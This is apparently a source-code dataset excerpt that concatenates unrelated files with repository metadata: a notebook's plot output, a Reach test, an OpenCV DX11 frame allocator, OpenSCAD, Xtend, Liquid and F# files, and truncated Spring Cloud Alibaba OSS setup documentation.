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", "text/plain": [ "<Figure size 1080x576 with 1 Axes>" ] }, "metadata": { "needs_background": "light" } } ], "metadata": {} }, { "cell_type": "code", "execution_count": null, "source": [], "outputs": [], "metadata": {} } ], "metadata": { "kernel_info": { "name": "python3" }, "kernelspec": { "name": "python3", "display_name": "Python 3.7.0 64-bit" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.7.0" }, "nteract": { "version": "[email protected]" }, "metadata": { "interpreter": { "hash": "70b38d7a306a849643e446cd70466270a13445e5987dfa1344ef2b127438fa4d" } }, "interpreter": { "hash": "70b38d7a306a849643e446cd70466270a13445e5987dfa1344ef2b127438fa4d" } }, "nbformat": 4, "nbformat_minor": 2 }
Jupyter Notebook
5
subramanir2143/ML-For-Beginners
7-TimeSeries/2-ARIMA/solution/notebook.ipynb
[ "MIT" ]
'reach 0.1'; export const main = Reach.App( {}, [Participant('A', {})], (A) => { A.only(() => { const day = 'TUESDAY'; const template = `I will gladly pay you ${DAY} for a hamburger today`; }); exit(); } );
RenderScript
3
chikeabuah/reach-lang
hs/t/n/template_literals.rsh
[ "Apache-2.0" ]
// This file is part of OpenCV project. // It is subject to the license terms in the LICENSE file found in the top-level directory // of this distribution and at http://opencv.org/license.html. // // Copyright (C) 2021 Intel Corporation #ifdef HAVE_ONEVPL #include "streaming/onevpl/accelerators/dx11_alloc_resource.hpp" #include "streaming/onevpl/accelerators/utils/shared_lock.hpp" #include "logger.hpp" #ifdef HAVE_DIRECTX #ifdef HAVE_D3D11 namespace cv { namespace gapi { namespace wip { namespace onevpl { LockAdapter::LockAdapter(mfxFrameAllocator origin_allocator) : lockable_allocator(origin_allocator), impl() { GAPI_DbgAssert((lockable_allocator.Lock && lockable_allocator.Unlock) && "Cannot create LockAdapter for empty origin allocator"); // abandon unusable c-allocator interfaces // because LockAdapter requires Lock & Unlock only lockable_allocator.Alloc = nullptr; lockable_allocator.Free = nullptr; lockable_allocator.pthis = nullptr; } size_t LockAdapter::read_lock(mfxMemId mid, mfxFrameData &data) { size_t prev_lock_count = 0; if (impl) { prev_lock_count = impl->shared_lock(); } // dispatch to VPL allocator using READ access mode mfxStatus sts = MFX_ERR_LOCK_MEMORY; try { sts = lockable_allocator.Lock(nullptr, mid, &data); } catch(...) { } // adapter will throw error if VPL frame allocator fails if (sts != MFX_ERR_NONE) { impl->unlock_shared(); GAPI_Assert(false && "Cannot lock frame on READ using VPL allocator"); } return prev_lock_count; } size_t LockAdapter::unlock_read(mfxMemId mid, mfxFrameData &data) { GAPI_DbgAssert(!impl || !is_write_acquired() && "Reject `unlock_read` in `write_lock` state"); lockable_allocator.Unlock(nullptr, mid, &data); return impl ? impl->unlock_shared() : 0; } void LockAdapter::write_lock(mfxMemId mid, mfxFrameData &data) { if (impl) { // TODO consider using `try_lock` in loop with limited iteration count // to prevent dead-lock with WARN at least notification impl->lock(); } // dispatch to VPL allocator using READ access mode mfxStatus sts = MFX_ERR_LOCK_MEMORY; try { sts = lockable_allocator.Lock(nullptr, mid, &data); } catch(...) { } // adapter will throw error if VPL frame allocator fails if (sts != MFX_ERR_NONE) { impl->unlock(); GAPI_Assert(false && "Cannot lock frame on WRITE using VPL allocator"); } } bool LockAdapter::is_write_acquired() { if(!impl) return true; return impl->owns(); } void LockAdapter::unlock_write(mfxMemId mid, mfxFrameData &data) { GAPI_DbgAssert(is_write_acquired() && "Reject `unlock_write` for unlocked state"); lockable_allocator.Unlock(nullptr, mid, &data); if (impl) { impl->unlock(); } } SharedLock* LockAdapter::set_adaptee(SharedLock* new_impl) { SharedLock* old_impl = impl; impl = new_impl; return old_impl; } SharedLock* LockAdapter::get_adaptee() { return impl; } NativeHandleAdapter::NativeHandleAdapter(mfxFrameAllocator origin_allocator) : native_handle_getter(origin_allocator) { GAPI_DbgAssert(native_handle_getter.GetHDL && "Cannot create NativeHandleAdapter for empty origin allocator"); // abandon unusable c-allocator interfaces // because NativeHandleAdapter requires `GetHDL` only native_handle_getter.Alloc = nullptr; native_handle_getter.Free = nullptr; native_handle_getter.Lock = nullptr; native_handle_getter.Unlock = nullptr; native_handle_getter.pthis = nullptr; } void NativeHandleAdapter::get_handle(mfxMemId mid, mfxHDL& out) { if (native_handle_getter.GetHDL(nullptr, mid, &out) != MFX_ERR_NONE) { GAPI_Assert(nullptr && "Cannot get native handle for resourse by mid"); } } DX11AllocationItem::DX11AllocationItem(std::weak_ptr<DX11AllocationRecord> parent, ID3D11DeviceContext* origin_ctx, mfxFrameAllocator origin_allocator, ComSharedPtrGuard<ID3D11Texture2D> tex_ptr, subresource_id_t subtex_id, ComPtrGuard<ID3D11Texture2D>&& staging_tex_ptr) : LockAdapter(origin_allocator), NativeHandleAdapter(origin_allocator), shared_device_context(origin_ctx), texture_ptr(tex_ptr), subresource_id(subtex_id), staging_texture_ptr(std::move(staging_tex_ptr)), observer(parent) { GAPI_DbgAssert(texture_ptr && "Cannot create DX11AllocationItem for empty texture"); GAPI_DbgAssert(staging_texture_ptr && "Cannot create DX11AllocationItem for empty staging texture"); GAPI_DbgAssert(observer.lock() && "Cannot create DX11AllocationItem for empty parent"); shared_device_context->AddRef(); } DX11AllocationItem::~DX11AllocationItem() { release(); observer.reset(); if (shared_device_context) { shared_device_context->Release(); } } void DX11AllocationItem::release() { auto parent = observer.lock(); GAPI_LOG_DEBUG(nullptr, "texture: " << texture_ptr << ", subresource id: " << subresource_id << ", parent: " << parent.get()); cv::util::suppress_unused_warning(parent); } ID3D11Texture2D* DX11AllocationItem::get_texture_ptr() { return texture_ptr.get(); } ID3D11Texture2D* DX11AllocationItem::get_staging_texture_ptr() { return staging_texture_ptr.get(); } DX11AllocationItem::subresource_id_t DX11AllocationItem::get_subresource() const { return subresource_id; } ID3D11DeviceContext* DX11AllocationItem::get_device_ctx_ptr() { return shared_device_context;//shared_device_context.get(); } void DX11AllocationItem::on_first_in_impl(mfxFrameData *ptr) { D3D11_MAP mapType = D3D11_MAP_READ; UINT mapFlags = D3D11_MAP_FLAG_DO_NOT_WAIT; shared_device_context->CopySubresourceRegion(get_staging_texture_ptr(), 0, 0, 0, 0, get_texture_ptr(), get_subresource(), nullptr); HRESULT err = S_OK; D3D11_MAPPED_SUBRESOURCE lockedRect {}; do { err = shared_device_context->Map(get_staging_texture_ptr(), 0, mapType, mapFlags, &lockedRect); if (S_OK != err && DXGI_ERROR_WAS_STILL_DRAWING != err) { GAPI_LOG_WARNING(nullptr, "Cannot Map staging texture in device context, error: " << std::to_string(HRESULT_CODE(err))); GAPI_Assert(false && "Cannot Map staging texture in device context"); } } while (DXGI_ERROR_WAS_STILL_DRAWING == err); if (FAILED(err)) { GAPI_LOG_WARNING(nullptr, "Cannot lock frame"); GAPI_Assert(false && "Cannot lock frame"); return ; } D3D11_TEXTURE2D_DESC desc {}; get_texture_ptr()->GetDesc(&desc); switch (desc.Format) { case DXGI_FORMAT_NV12: ptr->Pitch = (mfxU16)lockedRect.RowPitch; ptr->Y = (mfxU8 *)lockedRect.pData; ptr->UV = (mfxU8 *)lockedRect.pData + desc.Height * lockedRect.RowPitch; GAPI_Assert(ptr->Y && ptr->UV && "DXGI_FORMAT_NV12 locked frame data is nullptr"); break; default: GAPI_LOG_WARNING(nullptr, "Unknown DXGI format: " << desc.Format); return; } } void DX11AllocationItem::on_last_out_impl(mfxFrameData *ptr) { shared_device_context->Unmap(get_staging_texture_ptr(), 0); if (ptr) { ptr->Pitch = 0; ptr->U = ptr->V = ptr->Y = 0; ptr->A = ptr->R = ptr->G = ptr->B = 0; } } mfxStatus DX11AllocationItem::acquire_access(mfxFrameData *ptr) { if (is_write_acquired()) { return exclusive_access_acquire_unsafe(ptr); } return shared_access_acquire_unsafe(ptr); } mfxStatus DX11AllocationItem::release_access(mfxFrameData *ptr) { if (is_write_acquired()) { return exclusive_access_release_unsafe(ptr); } return shared_access_release_unsafe(ptr); } mfxStatus DX11AllocationItem::shared_access_acquire_unsafe(mfxFrameData *ptr) { GAPI_LOG_DEBUG(nullptr, "acquire READ lock: " << this); GAPI_LOG_DEBUG(nullptr, "texture: " << get_texture_ptr() << ", sub id: " << get_subresource()); // shared access requires elastic barrier // first-in visited thread uses resource mapping on host memory // subsequent threads reuses mapped memory // // exclusive access is prohibited while any one shared access has been obtained visit_in(ptr); if (!(ptr->Y && (ptr->UV || (ptr->U && ptr->V)))) { GAPI_LOG_WARNING(nullptr, "No any data obtained: " << this); return MFX_ERR_LOCK_MEMORY; } GAPI_LOG_DEBUG(nullptr, "READ access granted: " << this); return MFX_ERR_NONE; } mfxStatus DX11AllocationItem::shared_access_release_unsafe(mfxFrameData *ptr) { GAPI_LOG_DEBUG(nullptr, "releasing READ lock: " << this); GAPI_LOG_DEBUG(nullptr, "texture: " << get_texture_ptr() << ", sub id: " << get_subresource()); // releasing shared access requires elastic barrier // last-out thread must make memory unmapping then and only then no more // read access is coming. If another read-access goes into critical section // (or waiting for acees) we must drop off unmapping procedure visit_out(ptr); GAPI_LOG_DEBUG(nullptr, "access on READ released: " << this); return MFX_ERR_NONE; } mfxStatus DX11AllocationItem::exclusive_access_acquire_unsafe(mfxFrameData *ptr) { GAPI_LOG_DEBUG(nullptr, "acquire WRITE lock: " << this); GAPI_LOG_DEBUG(nullptr, "texture: " << get_texture_ptr() << ", sub id: " << get_subresource()); D3D11_MAP mapType = D3D11_MAP_WRITE; UINT mapFlags = D3D11_MAP_FLAG_DO_NOT_WAIT; HRESULT err = S_OK; D3D11_MAPPED_SUBRESOURCE lockedRect {}; do { err = get_device_ctx_ptr()->Map(get_staging_texture_ptr(), 0, mapType, mapFlags, &lockedRect); if (S_OK != err && DXGI_ERROR_WAS_STILL_DRAWING != err) { GAPI_LOG_WARNING(nullptr, "Cannot Map staging texture in device context, error: " << std::to_string(HRESULT_CODE(err))); return MFX_ERR_LOCK_MEMORY; } } while (DXGI_ERROR_WAS_STILL_DRAWING == err); if (FAILED(err)) { GAPI_LOG_WARNING(nullptr, "Cannot lock frame"); return MFX_ERR_LOCK_MEMORY; } D3D11_TEXTURE2D_DESC desc {}; get_texture_ptr()->GetDesc(&desc); switch (desc.Format) { case DXGI_FORMAT_NV12: ptr->Pitch = (mfxU16)lockedRect.RowPitch; ptr->Y = (mfxU8 *)lockedRect.pData; ptr->UV = (mfxU8 *)lockedRect.pData + desc.Height * lockedRect.RowPitch; if (!ptr->Y || !ptr->UV) { GAPI_LOG_WARNING(nullptr, "DXGI_FORMAT_NV12 locked frame data is nullptr"); return MFX_ERR_LOCK_MEMORY; } break; default: GAPI_LOG_WARNING(nullptr, "Unknown DXGI format: " << desc.Format); return MFX_ERR_LOCK_MEMORY; } GAPI_LOG_DEBUG(nullptr, "WRITE access granted: " << this); return MFX_ERR_NONE; } mfxStatus DX11AllocationItem::exclusive_access_release_unsafe(mfxFrameData *ptr) { GAPI_LOG_DEBUG(nullptr, "releasing WRITE lock: " << this); GAPI_LOG_DEBUG(nullptr, "texture: " << get_texture_ptr() << ", sub id: " << get_subresource()); get_device_ctx_ptr()->Unmap(get_staging_texture_ptr(), 0); get_device_ctx_ptr()->CopySubresourceRegion(get_texture_ptr(), get_subresource(), 0, 0, 0, get_staging_texture_ptr(), 0, nullptr); if (ptr) { ptr->Pitch = 0; ptr->U = ptr->V = ptr->Y = 0; ptr->A = ptr->R = ptr->G = ptr->B = 0; } GAPI_LOG_DEBUG(nullptr, "access on WRITE released: " << this); return MFX_ERR_NONE; } DX11AllocationRecord::DX11AllocationRecord() = default; DX11AllocationRecord::~DX11AllocationRecord() { GAPI_LOG_DEBUG(nullptr, "record: " << this << ", subresources count: " << resources.size()); for (AllocationId id : resources) { delete id; } resources.clear(); GAPI_LOG_DEBUG(nullptr, "release final referenced texture: " << texture_ptr.get()); } void DX11AllocationRecord::init(unsigned int items, ID3D11DeviceContext* origin_ctx, mfxFrameAllocator origin_allocator, ComPtrGuard<ID3D11Texture2D>&& texture, std::vector<ComPtrGuard<ID3D11Texture2D>> &&staging_textures) { GAPI_DbgAssert(items != 0 && "Cannot create DX11AllocationRecord with empty items"); GAPI_DbgAssert(items == staging_textures.size() && "Allocation items count and staging size are not equal"); GAPI_DbgAssert(origin_ctx && "Cannot create DX11AllocationItem for empty origin_ctx"); auto shared_allocator_copy = origin_allocator; GAPI_DbgAssert((shared_allocator_copy.Lock && shared_allocator_copy.Unlock) && "Cannot create DX11AllocationItem for empty origin allocator"); // abandon unusable c-allocator interfaces shared_allocator_copy.Alloc = nullptr; shared_allocator_copy.Free = nullptr; shared_allocator_copy.pthis = nullptr; GAPI_LOG_DEBUG(nullptr, "subresources count: " << items << ", text: " << texture.get()); resources.reserve(items); // no AddRef here, because DX11AllocationRecord receive ownership it here texture_ptr = createCOMSharedPtrGuard(std::move(texture)); for(unsigned int i = 0; i < items; i++) { resources.emplace_back(new DX11AllocationItem(get_ptr(), origin_ctx, shared_allocator_copy, texture_ptr, i, std::move(staging_textures[i]))); } } DX11AllocationRecord::Ptr DX11AllocationRecord::get_ptr() { return shared_from_this(); } DX11AllocationRecord::AllocationId* DX11AllocationRecord::data() { return resources.data(); } size_t DX11AllocationRecord::size() const { return resources.size(); } } // namespace onevpl } // namespace wip } // namespace gapi } // namespace cv #endif // HAVE_D3D11 #endif // HAVE_DIRECTX #endif // HAVE_ONEVPL
C++
5
nowireless/opencv
modules/gapi/src/streaming/onevpl/accelerators/dx11_alloc_resource.cpp
[ "Apache-2.0" ]
intersection() { linear_extrude(height = 100, center = true, convexity= 3) import(file = "example013.dxf"); rotate([0, 90, 0]) linear_extrude(height = 100, center = true, convexity= 3) import(file = "example013.dxf"); rotate([90, 0, 0]) linear_extrude(height = 100, center = true, convexity= 3) import(file = "example013.dxf"); }
OpenSCAD
3
heristhesiya/OpenJSCAD.org
packages/io/scad-deserializer/tests/examples/example013.scad
[ "MIT" ]
package org.xtendroid.utils import android.app.ProgressDialog import android.os.AsyncTask import android.os.Build import org.eclipse.xtext.xbase.lib.Functions.Function2 class AsyncBuilder<Result> extends AsyncTask<Object, Object, Result> { var protected ProgressDialog progressDialog var protected (AsyncBuilder, Object[])=>Result bgTask var protected (Result)=>void uiTask var protected ()=>void onPreExecute var protected (Object[])=>void onProgress var protected (Exception)=>void onError var protected ()=>void onCancelled var protected Exception error def static AsyncBuilder async(Function2<AsyncBuilder, Object[], ?> task) { return async(null, task) } def static AsyncBuilder async(ProgressDialog progressDialog, Function2<AsyncBuilder, Object[], ?> task) { var ab = new AsyncBuilder() ab.bgTask = task ab.progressDialog = progressDialog return ab } def AsyncBuilder then((Result)=>void task) { this.uiTask = task return this } def AsyncBuilder first(()=>void task) { this.onPreExecute = task return this } def AsyncBuilder onError((Exception)=>void task) { this.onError = task return this } def AsyncBuilder onCancelled(()=>void task) { this.onCancelled = task return this } def AsyncBuilder onProgress((Object[])=>void task) { this.onProgress = task return this } def void progress(Object... values) { publishProgress(values) } def AsyncTask start() { return start(null) } def AsyncTask start(Object... params) { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB) { // newer versions of Android use a single thread, rather default to multiple threads super.executeOnExecutor(AsyncTask.THREAD_POOL_EXECUTOR, params) } else { // older versions of Android already use a thread pool super.execute(params) } } override protected doInBackground(Object... params) { if (cancelled || error != null) return null try { if (bgTask != null) return bgTask.apply(this, params) } catch (Exception e) { error = e return null } } override protected onPostExecute(Result result) { super.onPostExecute(result) if (!cancelled && error == null && uiTask != null) try { uiTask.apply(result) } catch (Exception e) { error = e } if (!cancelled && progressDialog != null) { progressDialog.dismiss() } if (error != null) { if (!cancelled) { if (onError != null) onError.apply(error) else throw error } } } override protected onCancelled() { super.onCancelled() if (!cancelled && onCancelled != null) try { onCancelled.apply() } catch (Exception e) { error = e } } override protected onPreExecute() { super.onPreExecute() error = null if (!cancelled && progressDialog != null) { progressDialog.show() } if (!cancelled && onPreExecute != null) try { onPreExecute.apply() } catch (Exception e) { error = e } } override protected onProgressUpdate(Object... values) { super.onProgressUpdate(values) onProgress.apply(values) } }
Xtend
4
kusl/Xtendroid
Xtendroid/src/org/xtendroid/utils/AsyncBuilder.xtend
[ "MIT" ]
{% assign sitenav__list = site.data.sitenav %} <ul> {% for sitenav__item in sitenav__list %} <li {% if sitenav__item.url == "/" %}class="index"{% endif %}> <a href="{{ site.baseurl }}{{ sitenav__item.page.url | replace:'index.html','' }}">{{ sitenav__item.page.title }}</a> </li> {% endfor %} <li><a href="https://github.com/youtube/spfjs">GitHub</a></li> </ul>
Liquid
3
enterstudio/spfjs
web/includes/nav.liquid
[ "MIT" ]
namespace Company.WebApplication1 #nowarn "20" open System open System.Collections.Generic open System.IO open System.Linq open System.Threading.Tasks open Microsoft.AspNetCore open Microsoft.AspNetCore.Builder open Microsoft.AspNetCore.Hosting #if !NoHttps open Microsoft.AspNetCore.HttpsPolicy #endif open Microsoft.Extensions.Configuration open Microsoft.Extensions.DependencyInjection open Microsoft.Extensions.Hosting open Microsoft.Extensions.Logging module Program = let exitCode = 0 [<EntryPoint>] let main args = let builder = WebApplication.CreateBuilder(args) builder .Services .AddControllersWithViews() .AddRazorRuntimeCompilation() builder.Services.AddRazorPages() let app = builder.Build() if not (builder.Environment.IsDevelopment()) then app.UseExceptionHandler("/Home/Error") #if !NoHttps app.UseHsts() |> ignore // The default HSTS value is 30 days. You may want to change this for production scenarios, see https://aka.ms/aspnetcore-hsts. app.UseHttpsRedirection() #endif app.UseStaticFiles() app.UseRouting() app.UseAuthorization() app.MapControllerRoute(name = "default", pattern = "{controller=Home}/{action=Index}/{id?}") app.MapRazorPages() app.Run() exitCode
F#
4
tomaswesterlund/aspnetcore
src/ProjectTemplates/Web.ProjectTemplates/content/StarterWeb-FSharp/Program.fs
[ "MIT" ]
== Spring Cloud Alibaba Cloud OSS OSS(Object Storage Service)is a storage product on Alibaba Cloud. Spring Cloud Alibaba Cloud OSS provides the commercialized storage service in conformity with Spring Cloud specifications. We provide easy-to-use APIs and supports the integration of Resource in the Spring framework. === How to Introduce Spring Cloud Alibaba Cloud OSS We’ve released Spring Cloud Alibaba version 0.2.1. You will need to add dependency management POM first. [source,xml] ---- <dependencyManagement> <dependencies> <dependency> <groupId>com.alibaba.cloud</groupId> <artifactId>spring-cloud-alibaba-dependencies</artifactId> <version>0.2.2.BUILD-SNAPSHOT</version> <type>pom</type> <scope>import</scope> </dependency> </dependencies> </dependencyManagement> ---- Next we need to introduce Spring Cloud Alibaba Cloud OSS Starter. [source,xml] ---- <dependency> <groupId>com.alibaba.cloud</groupId> <artifactId>spring-cloud-starter-alicloud-oss</artifactId> </dependency> ---- === How to Use OSS API ==== Configure OSS Before you start to use Spring Cloud Alibaba Cloud OSS, please add the following configurations in application.properties. [source,properties] ---- spring.cloud.alicloud.access-key=Your Alibaba Cloud AK spring.cloud.alicloud.secret-key=Your Alibaba Cloud SK spring.cloud.alicloud.oss.endpoint=***.aliyuncs.com ---- access-key and secret-key is the AK/SK of your Alibaba Cloud account. If you don’t have one, please register an account first, and log on to https://usercenter.console.aliyun.com/#/manage/ak[Alibaba Cloud AK/SK Management] to get your AccessKey ID and Access Key Secret . If you haven’t create the AccessKeys, click “Create AccessKey” to create one. For endpoint information, please refer to the OSS https://help.aliyun.com/document_detail/31837.html[Documentation] and get the endpoint for your region. ==== Introduce OSS API The OSS API of Spring Cloud Alibaba Cloud OSS is based on the official OSS SDK, and includes APIs for uploading, downloading, viewing files. Here is a simple application that uses the OSS API. [source,java] ---- @SpringBootApplication public class OssApplication { @Autowired private OSS ossClient; @RequestMapping("/") public String home() { ossClient.putObject("bucketName", "fileName", new FileInputStream("/your/local/file/path")); return "upload success"; } public static void main(String[] args) throws URISyntaxException { SpringApplication.run(OssApplication.class, args); } } ---- Before you upload your files, please https://account.aliyun.com/register/register.htm?spm=5176.8142029.388261.26.e9396d3eaYK2sG&oauth_callback=https%3A%2F%2Fwww.aliyun.com%2F[Register an Alibaba Cloud Account]. If you already have one, please https://common-buy.aliyun.com/?spm=5176.8465980.unusable.dopen.4cdf1450rg8Ujb&commodityCode=oss#/open[Sign up for OSS]. Log on to the https://oss.console.aliyun.com/overview[OSS Console], click “Create New Bucket” and create a bucket as instructed. Replace the bucket name in the “bucketname” of the previous code with your new bucket name. "fileName” can be any name you like, and "/your/local/file/path” can be any local file path. Next you can run `curl http://127.0.0.1:port number/ to upload your files, and you will see your file on the https://oss.console.aliyun.com/overview[OSS Console]. For more instructions on OSS APIs, please refer to https://help.aliyun.com/document_detail/32008.html[OSS SDK Documentation]. === Integrate with the Resource Specifications of Spring Spring Cloud Alibaba Cloud OSS integrates the Resource of the Spring framework, which allows you to use the OSS resources easily. The following is a simple example of how to use Resource. [source,java] ---- @SpringBootApplication public class OssApplication { @Value("oss://bucketName/fileName") private Resource file; @GetMapping("/file") public String fileResource() { try { return "get file resource success. content: " + StreamUtils.copyToString( file.getInputStream(), Charset.forName(CharEncoding.UTF_8)); } catch (Exception e) { return "get resource fail: " + e.getMessage(); } } public static void main(String[] args) throws URISyntaxException { SpringApplication.run(OssApplication.class, args); } } ---- NOTE: A prerequisite for the above sample is that you need to have a bucket named “bucketName” on OSS, and you have a file named “fileName” in this bucket. === Use STS Authentication In addition to AccessKeys, Spring Cloud Alibaba Cloud OSS also supports STS authentication. STS is an authentication method with temporary security tokens, and is usually used for a third party to access its resources temporarily. For a third party to access resources temporarily, it only needs to complete the following configurations. [source,properties] ---- spring.cloud.alicloud.oss.authorization-mode=STS spring.cloud.alicloud.oss.endpoint=***.aliyuncs.com spring.cloud.alicloud.oss.sts.access-key=Your authenticated AK spring.cloud.alicloud.oss.sts.secret-key=Your authenticated SK spring.cloud.alicloud.oss.sts.security-token=Your authenticated ST ---- Among which, spring.cloud.alicloud.oss.authorization-mode is the enumeration type. Fill in STS here means that STS authentication is used. For endpoint information, refer to the https://help.aliyun.com/document_detail/31837.html[OSS Documentation] and fill in the endpoint 